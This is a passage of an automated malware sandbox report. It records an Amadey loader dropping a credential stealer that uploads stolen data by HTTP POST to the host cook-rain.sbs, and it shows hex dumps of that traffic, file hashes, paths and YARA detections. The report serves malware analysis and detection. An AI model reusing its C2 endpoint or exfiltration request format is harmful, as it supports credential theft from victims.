D2KBxFkcvvWTqkazmESNg1uI9T3CZ6Y34Ku+V39EMZWbxjXEmKhLMfH7BoPoAJwX6rxFLdZSQlMkr+4mWyH1x/rWtQRcmU+QBbuGR10UjMd6XIVN1lKiZ2DrvldeBPHFikdFxLjIe0GR+5YTOKDIc14chMkD5iDn4Dl+JmslhSRvZhUALRy7YSEbBlNo8LzH6rzlPYazAgfQu65XL0QR1QsGFVQ4GM91dbuHB10UjpfKLLFM8oO2N1CP69PfJNF
2024-11-18 20:04:28 UTC	1369	IN	Data Raw: 63 66 63 66 4c 72 31 6c 44 2f 31 30 32 68 77 62 41 62 62 43 43 63 38 5a 73 4a 54 4e 31 45 37 47 6c 4d 37 4a 42 58 41 66 6c 4b 42 78 47 6d 4d 76 76 53 55 6e 6b 50 57 62 65 57 4a 56 6b 37 39 59 55 78 69 5a 36 63 54 78 45 72 4b 55 6c 73 67 41 66 54 61 52 67 58 31 53 4b 7a 49 6b 6e 50 4b 56 6c 4d 35 34 5a 2b 55 57 6d 31 56 6e 57 63 54 4e 76 5a 77 65 77 36 33 72 6b 42 31 49 66 75 53 59 45 65 38 6e 44 39 79 5a 56 2f 33 42 31 30 55 6a 79 65 4b 2f 42 55 38 5a 33 62 77 52 6f 43 62 6a 79 62 4c 49 4a 58 46 6e 32 50 67 77 4d 79 59 2b 6d 57 55 50 76 4f 6d 37 63 57 35 41 72 38 39 41 61 79 53 59 30 59 79 70 57 38 4b 56 76 73 68 39 63 47 4c 56 30 54 6b 53 4b 6e 62 52 65 4a 59 46 47 4d 6f 38 4e 77 47 76 6a 34 56 2f 45 59 57 4a 74 4d 67 76 2b 76 55 53 79 44 31 78 67 2b 43 Data Ascii: cfcfLr1lD/102hwbAbbCCc8ZsJTN1E7GlM7JBXAflKBxGmMvvSUnkPWbeWJVk79YUxiZ6cTxErKUlsgAfTaRgX1SKzIknPKVlM54Z+UWm1VnWcTNvZwew63rkB1IfuSYEe8nD9yZV/3B10UjyeK/BU8Z3bwRoCbjybLIJXFn2PgwMyY+mWUPvOm7cW5Ar89AaySY0YypW8KVvsh9cGLV0TkSKnbReJYFGMo8NwGvj4V/EYWJtMgv+vUSyD1xg+C
2024-11-18 20:04:28 UTC	1369	IN	Data Raw: 79 37 4d 49 57 2b 63 34 5a 39 4a 64 6c 43 7a 78 6e 55 75 65 66 32 49 31 4d 6c 7a 73 71 7a 33 67 42 30 51 66 38 57 56 4f 55 49 2b 49 6f 52 70 63 67 56 59 53 68 77 2f 47 62 62 48 59 57 35 39 49 46 41 4a 4d 4f 71 76 6d 63 2f 78 41 43 6b 37 32 4b 42 78 4e 79 64 4f 4f 57 56 50 2f 56 33 76 4a 45 49 63 6a 34 66 70 58 33 6d 67 6c 4e 57 4e 4a 6d 65 74 36 38 31 45 4d 53 4c 6b 70 63 6e 53 6f 79 2f 6c 5a 48 66 38 77 5a 38 64 49 77 32 72 68 6c 77 53 43 50 58 64 77 4a 56 54 73 2b 6a 50 72 42 77 6f 66 37 6a 51 53 41 70 76 4c 37 31 6c 63 76 48 6f 6e 6a 77 76 52 65 4f 62 78 61 76 64 6f 4a 53 4a 6b 46 4c 50 70 58 50 46 57 46 6d 47 49 63 31 39 4d 68 34 79 68 43 46 76 78 4b 44 72 4a 55 50 34 37 36 59 39 72 6e 69 59 36 59 79 70 45 69 2b 5a 7a 2f 45 41 4b 54 76 74 42 55 6b 57 Data Ascii: y7MIW+c4Z9JdlCzxnUuef2I1Mlzsqz3gB0Qf8WVOUI+IoRpcgVYShw/GbbHYW59IFAJMOqvmc/xACk72KBxNydOOWVP/V3vJEIcj4fpX3mglNWNJmet681EMSLkpcnSoy/lZHf8wZ8dIw2rhlwSCPXdwJVTs+jPrBwof7jQSApvL71lcvHonjwvReObxavdoJSJkFLPpXPFWFmGIc19Mh4yhCFvxKDrJUP476Y9rniY6YypEi+Zz/EAKTvtBUkW
2024-11-18 20:04:28 UTC	1369	IN	Data Raw: 78 69 70 61 33 58 48 53 4e 38 37 2b 59 39 35 77 6d 45 79 49 44 41 6f 75 65 68 78 73 6c 68 53 52 76 5a 77 48 42 72 61 78 66 63 4c 57 2b 63 6f 63 6f 6f 61 31 58 32 69 32 56 65 58 57 42 77 4f 59 41 4f 75 35 6a 2f 44 53 68 68 4a 6f 32 56 4d 52 62 65 31 6d 67 73 63 72 32 74 33 72 44 4b 46 53 72 66 4d 56 4e 35 68 59 6d 30 79 48 50 36 39 50 64 39 56 47 30 2b 31 4a 48 6c 34 79 37 71 68 47 68 75 78 62 33 57 57 52 74 34 37 74 34 38 4d 67 79 68 69 4d 54 4a 63 2f 71 4a 7a 2f 30 59 66 55 62 56 30 54 6b 53 4b 6e 62 52 65 4a 59 46 48 50 6f 67 59 79 6d 71 73 79 30 4c 75 57 41 55 6c 64 77 4f 41 32 30 72 6a 51 41 77 64 6b 47 56 4b 51 63 6e 46 39 77 46 62 35 79 67 53 6a 77 33 41 4f 2b 2b 50 55 4a 41 2b 59 67 78 35 42 61 37 6f 62 50 39 44 43 68 32 52 59 46 6c 46 79 63 58 33 Data Ascii: xipa3XHSN87+Y95wmEyIDAouehxslhSRvZwHBraxfcLW+cocooa1X2i2VeXWBwOYAOu5j/DShhJo2VMRbe1mgscr2t3rDKFSrfMVN5hYm0yHP69Pd9VG0+1JHl4y7qhGhuxb3WWRt47t48MgyhiMTJc/qJz/0YfUbV0TkSKnbReJYFHPogYymqsy0LuWAUldwOA20rjQAwdkGVKQcnF9wFb5ygSjw3AO++PUJA+Ygx5Ba7obP9DCh2RYFlFycX3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49900	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:28 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8C2KG19764Q6NKS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 562341 Host: cook-rain.sbs
2024-11-18 20:04:28 UTC	15331	OUT	Data Raw: 2d 2d 38 43 32 4b 47 31 39 37 36 34 51 36 4e 4b 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 42 41 41 30 35 34 34 41 37 34 44 35 45 32 42 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 38 43 32 4b 47 31 39 37 36 34 51 36 4e 4b 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 43 32 4b 47 31 39 37 36 34 51 36 4e 4b 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --8C2KG19764Q6NKSContent-Disposition: form-data; name="hwid"5BAA0544A74D5E2B63CFCF7E6C45F838--8C2KG19764Q6NKSContent-Disposition: form-data; name="pid"1--8C2KG19764Q6NKSContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-18 20:04:28 UTC	15331	OUT	Data Raw: 96 21 a7 0e f3 da b4 d0 da 15 3b 2f 34 e7 c5 18 31 3f 7e e1 0e 27 2e da 8b 69 3a d5 b4 a5 63 fe 7e 5d fd 45 4d 78 40 32 64 86 27 c9 87 86 c3 d3 a8 13 0f 9b d3 77 54 51 94 52 b0 bc 41 7f d6 ce af 61 ee 54 93 8c 25 5c 01 cd 86 63 1f ec 88 0d 3e 7f 2a 91 e4 23 f4 d0 1a a5 a0 b0 2c 28 dc 47 95 4d 2a 45 9b f1 b5 e9 0a 01 a8 cb 82 55 2b 42 4c de f7 cf cd 71 0b 0b 3e 13 31 91 db 98 1e 3d 2e 61 41 43 36 21 cd d1 38 2d 94 71 13 24 7c 75 70 27 be ee 51 95 73 5d dc 33 10 76 e4 7e 8b a1 37 df b4 3d df fa 35 4f 87 58 d6 5d 79 8d 78 2f 82 7b 67 a2 20 25 10 b7 36 35 f9 3c e9 ba ed 04 0b fd 12 1d f3 c2 c6 1c 92 6f 3b ba f7 8c 14 a2 fb 79 39 2b ff e5 9a 34 44 fe b3 9a db 92 f6 b3 82 46 2e 15 fa f8 26 13 58 c8 87 48 08 de 4d 75 70 d3 4e af 3b 5e be e2 d7 b9 ae de 0d 16 73 Data Ascii: !;/41?~'.i:c~]EMx@2d'wTQRAaT%\c>#,(GMEU+BLq>1=.aAC6!8-q$\|up'Qs]3v~7=5OX]yx/{g %65<o;y9+4DF.&XHMupN;^s
2024-11-18 20:04:28 UTC	15331	OUT	Data Raw: dc 7b 7c c6 59 7d 4a 0a 1a 0a b6 17 87 95 84 7e 4e 93 57 46 ea 7c 54 7a 7d 7f bc 36 ea c8 7f cd 0e dd 65 91 27 4a ec 39 b0 90 8d 66 3d dc dc fe ef 73 28 83 bb 37 41 63 60 67 c9 70 ee 8d 18 18 ea bf b8 ed 50 ad 4e ce a3 2f a6 e2 8a 67 44 54 c3 42 c2 e9 bc a0 e5 fa 58 ad 2a f4 b5 39 0f eb 7f df 7d 12 fb c0 47 df 32 21 ee b8 a8 f2 e5 63 d4 f7 dd 7f 1b c8 e4 b4 51 62 71 96 12 fc 4f 3e 86 17 cf 21 a0 73 7a 79 9a 94 e3 cf 44 46 51 68 6b d7 b7 09 87 94 8d cc 73 b5 49 2a 1d 25 3c a2 32 8d a9 42 b9 14 ba 22 31 01 d5 81 7e 59 2f cc 96 1a fc a8 7b 02 8e 3c 3a 68 de 11 19 30 10 b9 e6 50 ce 35 91 5d b8 b7 5c 27 63 4c 3a 4d 71 2b 88 8c dd 5c bb 71 de 11 4b 57 15 94 ee 81 ce 32 a2 eb 0a aa df 45 5a f4 7f 11 ea 1e f3 ad d6 95 2b e8 aa d9 0e 0d cd 97 34 1d 50 56 c5 50 5e Data Ascii: {\|Y}J~NWF\|Tz}6e'J9f=s(7Ac`gpPN/gDTBX9}G2!cQbqO>!szyDFQhksI%<2B"1~Y/{<:h0P5]\'cL:Mq+\qKW2EZ+4PVP^
2024-11-18 20:04:28 UTC	15331	OUT	Data Raw: 20 2b 4e 73 c6 33 e3 95 8c 6e f3 c2 f2 ea bb 19 99 df 70 44 2e 33 34 2e e8 fa 03 d2 61 b4 25 1d 6b fa e2 5d bb 7a 81 8a d2 1c b8 26 94 d1 3a f8 44 97 47 53 6a 82 fc d4 2d 15 36 c6 36 f3 02 b8 12 60 ae 22 4b 34 a3 46 80 3a dd 2d 6a 31 cf bb e7 77 79 99 53 0b 91 7f cd 6b 8b 8f a6 0a 3e ae 8c 5d 0c 10 a0 9c 2d 89 15 b4 de 5d 1d b8 76 e0 23 6c 8f 91 0d b2 e6 f3 d7 b8 81 d3 8a a6 58 fa 80 e7 41 fc 71 bd b6 53 9f 9f e4 3e 28 36 2a 7e 6f 95 da 2d c2 a3 00 82 23 12 7c 8c 4d 4a 96 4b 0b 3d f6 fc 55 6e 68 b5 f0 bd 44 0b 88 38 b8 fa 9e 72 28 38 27 ed cc b8 22 bd df 4c 4c 10 d5 c3 83 4e cf 45 e0 d9 9f 01 bf f2 1f c5 3b 1d 49 7e d2 e0 18 ca 16 ca a9 81 94 d4 51 fc 0f 4c fc b7 de 0e a5 62 ad b3 e2 62 af bc d2 e5 65 2e 78 e1 46 5e 9e c1 4b c4 08 25 3d ea 36 40 b4 41 14 Data Ascii: +Ns3npD.34.a%k]z&:DGSj-66`"K4F:-j1wySk>]-]v#lXAqS>(6*~o-#\|MJK=UnhD8r(8'"LLNE;I~QLbbe.xF^K%=6@A
2024-11-18 20:04:28 UTC	15331	OUT	Data Raw: 1f 35 6b 0f 39 c2 eb 05 5d f5 e0 cd 7d 67 03 2c d1 05 5a 63 d6 2b 16 a7 02 d9 41 1d 08 54 21 b2 5b 9c aa d8 86 ff 88 d9 83 02 d2 ec eb c3 e9 29 64 bb 09 31 04 d1 8f a7 71 c3 fd 25 e9 ef dd 42 a6 27 c2 2b 50 c7 46 88 02 4c d8 61 0f 11 7c d2 4e 77 7b ae 91 a7 70 dd 0a 67 b4 60 d5 77 ee 60 e3 8c 66 af c4 92 d6 e6 fb 73 4e 75 ee a8 7e 03 1e 75 18 67 c5 26 05 9c 6d 33 ee e7 2d fc e1 a4 0a 3f b7 88 59 96 fc d7 c6 54 5b 21 a9 15 27 d8 8f 31 56 47 7d c3 8e c9 47 9d c9 3d 11 5d 9e b4 6c 20 ba 7e 64 f4 fd a1 bf 0d ec 86 a2 da 9e c5 64 bd d4 b4 66 e4 c1 df f3 4b dd 43 fe 52 29 28 e7 a0 67 02 37 73 82 44 6f 7d b4 91 8d ad 70 b5 75 87 e0 f4 34 1e f2 5f b0 33 4f 44 1c 2c 3d f5 15 ad 95 72 82 38 b3 f4 27 e4 f8 0c 33 ed ac be d6 1d 98 96 10 73 ef da bc dd a2 f1 be 73 2d Data Ascii: 5k9]}g,Zc+AT![)d1q%B'+PFLa\|Nw{pg`w`fsNu~ug&m3-?YT[!'1VG}G=]l ~ddfKCR)(g7sDo}pu4_3OD,=r8'3ss-
2024-11-18 20:04:28 UTC	15331	OUT	Data Raw: c9 f7 3f 64 6e a7 2b 77 21 f5 4f 76 8a 64 66 de e5 a8 28 10 15 a7 37 38 5d d1 b4 b6 ec 7a f9 43 ae 26 48 cc 36 ad 26 87 ec 5e 3e cb b4 1c a3 fb f2 df 8c b4 8b 25 21 51 bf 94 c7 3a d1 e0 aa ec 44 8d a7 7b ad bc 5d 12 9d 9b 6a 64 68 ea a5 17 f0 c4 57 c5 e6 cd 7a ba 8e 5b a6 a1 10 48 1c 42 cf 4d dc 7f d9 9c e4 29 59 77 91 5f ec 4b a1 25 39 63 97 62 72 a7 f4 1d d4 e2 67 44 75 63 0e 4f 69 f5 87 18 f2 27 ce 9a 35 6f 2f 10 61 10 84 0a 96 78 32 72 17 a4 95 53 17 bc 01 30 58 4a 68 4d 68 a1 62 35 43 7e 7a 7e f9 5f 6b 49 65 40 da 9c fa 5a c9 fd 8e 04 29 be 3e 9a 75 ce b1 28 03 98 f6 64 ba eb ce 85 8f fb b6 5c e8 eb d7 88 73 fe d7 88 db 01 07 e1 2d bb f8 38 f9 ea 7c 0e ff bb d3 bc 07 d8 ed 9e 12 79 c5 11 aa 7a ef 7c ea cd 05 a5 86 eb fc 37 9f 5a 49 0a 4d df c1 ce 5a Data Ascii: ?dn+w!Ovdf(78]zC&H6&^>%!Q:D{]jdhWz[HBM)Yw_K%9cbrgDucOi'5o/ax2rS0XJhMhb5C~z~_kIe@Z)>u(d\s-8\|yz\|7ZIMZ
2024-11-18 20:04:28 UTC	15331	OUT	Data Raw: 7f 54 50 04 ef 70 dc cc eb 22 9b 59 3a b7 27 87 a5 ff 79 7b 3c f5 f9 1a d0 be 20 7e e6 f5 ba 08 88 c6 06 1c 02 d3 a2 40 04 cd 93 da 01 a6 5f 63 03 fe 03 b9 bd 58 fd 9d 60 7a 1b d7 17 22 83 0a c5 df b0 33 79 84 0f c6 6f 9a 4f 62 c1 3b 75 4c fb 8a 8c aa fa d9 1c 66 8e d7 40 84 d9 f9 c7 f7 62 f6 69 1f d4 b2 b1 0f d7 90 78 00 31 28 07 f5 11 56 93 8f ba 42 4e 68 d5 ea 40 79 c8 45 f4 ba f6 8d c8 07 fa fc e9 46 c2 d3 f4 c9 b1 3c 47 bd 32 2d 14 db 1c 49 3a fa d4 e3 14 84 2e 85 11 db 0d 3d dd d3 25 ed 1c c3 f0 6b e3 42 42 10 23 71 5f 6e 5a f6 53 78 3b 0e c3 42 33 6b 2a b2 bd e3 d3 06 9f 94 d0 30 c1 1d c2 99 d9 64 ec 3d 10 15 2a 45 6f dc 50 e1 d8 df f9 56 44 f1 b0 55 08 d5 47 b7 1d c9 bc a6 9c 28 15 ea a6 92 eb 2f 7c 6c 82 1f 63 c9 1c fe 74 db 6b 78 9a 64 8f 7f f1 Data Ascii: TPp"Y:'y{< ~@_cX`z"3yoOb;uLf@bix1(VBNh@yEF<G2-I:.=%kBB#q_nZSx;B3k0d=EoPVDUG(/\|lctkxd
2024-11-18 20:04:28 UTC	15331	OUT	Data Raw: f7 5d 14 9b 57 9e 14 4c 8a 7e 1a ee c3 cd 23 1c 0e 53 a2 db 82 4c 9d 4d 1c 10 18 1b ff f1 f3 82 b3 21 76 c5 c1 85 8e 45 e2 c5 07 39 ed 69 31 a2 ab eb ba 58 57 f7 b8 56 cb 21 5d 8f e3 87 0d 8f 44 ae 84 e0 27 c6 57 cf 02 37 15 04 3c 2a 39 86 46 06 06 2b 29 44 96 3e a1 b4 a2 c8 53 c6 e7 08 5f 1f 53 90 8d ac 4c 11 99 16 03 7b 5b bf 37 6d 4c 1d 49 5e 47 4c a0 23 f0 9e 0f 98 da 9a a2 6e ff 00 98 ba fe f7 91 48 ff e8 71 87 a5 fa 8b 4f 4c fe 6c 8f 23 59 5e b4 88 3c 7f 44 a0 e1 9f ea 0f 92 7d 7f f1 f6 72 8f 93 78 81 ef 92 a6 d6 2a 48 7f 65 bf 7e 9f 1d 92 75 48 6f ba 3d e5 7e 50 40 46 1c a4 c5 fb f5 46 0d 7a 28 c5 6c 6d bc 3f b7 38 60 1d 98 78 c7 f3 f4 09 31 1f 87 b6 bb 93 73 fc 64 ef fe 09 ec b8 79 a3 14 61 ec ae 34 4d af be b0 e7 b4 d8 5f 2b 4c 11 91 8a 8d af 8a Data Ascii: ]WL~#SLM!vE9i1XWV!]D'W7<9F+)D>S_SL{[7mLI^GL#nHqOLl#Y^<D}rxHe~uHo=~P@FFz(lm?8`x1sdya4M_+L
2024-11-18 20:04:28 UTC	15331	OUT	Data Raw: 90 db bf e0 dd 06 b5 3c 47 6c 46 b8 c9 c1 1b 9a 46 7c 3c df 4f 81 9c ff 26 86 46 dc e5 82 0d 2d db 24 77 ce b8 b0 9e 6a aa 7b 01 ab 70 9e e4 b7 b6 4b 2c 2d 33 b3 0c 9c 6e ac 7b a1 eb 7c 03 e3 db fd cb c3 31 f8 f5 a8 8d c7 ca a5 ed 85 b3 c7 a8 2f 7e 68 86 0c fd ff 73 67 af 6c 50 58 f2 54 65 f6 ab 42 ed 5e 00 df c5 00 79 cc 83 c4 35 88 95 e7 e9 ad 36 25 02 3a 3d b0 bd a5 7b b3 fd 37 6e c5 bc 23 17 62 30 11 4a aa 61 d9 29 c6 65 2c 46 53 bd bf db 41 76 cb 46 ef f2 cf 1b bd 2b 1f 26 d7 4c 37 f1 7d ce bd c1 45 69 e0 a5 9c 17 9f 7b b6 b9 aa d6 b8 2f 84 f7 e4 1e b6 6c 53 25 81 2b 29 ee f6 80 5b 6d bf 49 02 78 0e f5 5f 87 32 67 63 44 d6 a7 17 1e c4 10 13 ca 81 e7 13 08 92 5e 25 d9 60 86 d3 e6 0b a2 27 7f c9 a1 a9 03 3d 4a 85 f1 00 bd fa 46 54 69 17 4d 47 30 89 05 Data Ascii: <GlFF\|<O&F-$wj{pK,-3n{\|1/~hsglPXTeB^y56%:={7n#b0Ja)e,FSAvF+&L7}Ei{/lS%+)[mIx_2gcD^%`'=JFTiMG0
2024-11-18 20:04:28 UTC	15331	OUT	Data Raw: 79 6c c3 88 1b 6d 18 15 f2 6c 60 9e 97 9e 6c f9 d3 6a 8b 20 f6 00 49 72 eb 9c d2 6a db c7 63 57 f8 a1 66 2f 7f a7 5f fe da 76 d9 1e 09 84 4c c5 f8 67 9f ad 6e c5 3d 8c bd 9c 53 1a c1 2a 79 c0 f6 8e b7 b9 2b 8f 7b bc 0d 38 9c 44 7d f1 54 b6 d6 05 85 77 d1 85 62 fc 63 0a 53 92 3c df cb 5b f4 15 e9 55 7a b6 83 8c f2 6b 49 7b 71 34 45 aa 83 b9 e0 37 59 1c f8 7b d1 e8 f8 47 17 5c fd 97 2f f9 58 7f 9d a1 8a 63 8c 21 d6 bf 67 57 70 16 64 24 82 80 e9 e8 91 8a b0 c5 88 ab 20 a9 7e cf 7e 32 25 e4 1d ee b6 95 d9 18 c4 7e 45 6f 3c e3 0c c8 6c 57 d3 d6 f9 4a dd fa 3a de f1 db ba 6d d0 b4 c3 98 45 a0 55 a6 22 f5 f1 c5 26 69 82 88 0f 21 63 d8 50 95 a9 0c cd 62 01 6a 52 1a 75 ed 3b a9 27 30 23 8a 24 26 09 81 7d 9e 85 54 f3 0a c1 e4 a2 e7 a7 55 c7 87 d4 ac 7a 4b 0a 80 e6 Data Ascii: ylml`lj IrjcWf/_vLgn=S*y+{8D}TwbcS<[UzkI{q4E7Y{G\/Xc!gWpd$ ~~2%~Eo<lWJ:mEU"&i!cPbjRu;'0#$&}TUzK
2024-11-18 20:04:32 UTC	987	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sh2a3ffovlq6lbua13dlnfmkb9; expires=Fri, 14-Mar-2025 13:51:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wqDHVA94mApzCgoWq%2F3bSrkx6Fb%2FZxsRlOmVRzt1m4cPOoWnv6H4SSEq%2B2qmW43vfzWbGqN0bm7UiI2mDPyvUPNQW26YeNmZP91DaLinB0hA9nq77PCzFHsevPJY9dZ1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a91dbbd18b0bd-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17526&sent=322&recv=579&lost=0&retrans=0&sent_bytes=2830&recv_bytes=564860&delivery_rate=164995&cwnd=32&unsent_bytes=0&cid=956740ed40e3dc0c&ts=4985&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:28 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:28 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: c598ff27-a01e-0002-1178-385074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200428Z-16547b76f7fkz9l7hC1DFW35uc000000038g00000000v9d0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:28 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Target ID:	0
Start time:	15:03:07
Start date:	18/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x680000
File size:	1'908'224 bytes
MD5 hash:	FFC4509537AE91B049189C9F7BC777E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1814294358.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1774197561.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:03:10
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xf70000
File size:	1'908'224 bytes
MD5 hash:	FFC4509537AE91B049189C9F7BC777E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1842083590.0000000000F71000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1801290640.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:03:10
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf70000
File size:	1'908'224 bytes
MD5 hash:	FFC4509537AE91B049189C9F7BC777E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1802564632.0000000004810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1848628613.0000000000F71000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:04:00
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf70000
File size:	1'908'224 bytes
MD5 hash:	FFC4509537AE91B049189C9F7BC777E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2294665759.0000000005560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	15:04:08
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe"
Imagebase:	0xd00000
File size:	1'883'136 bytes
MD5 hash:	0DDCD6763D9C2104F94916AD73E8E3DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2462430893.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2443163369.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:04:16
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe"
Imagebase:	0x7e0000
File size:	1'835'008 bytes
MD5 hash:	2F595E9186B87CD4870EA38F16393D8F
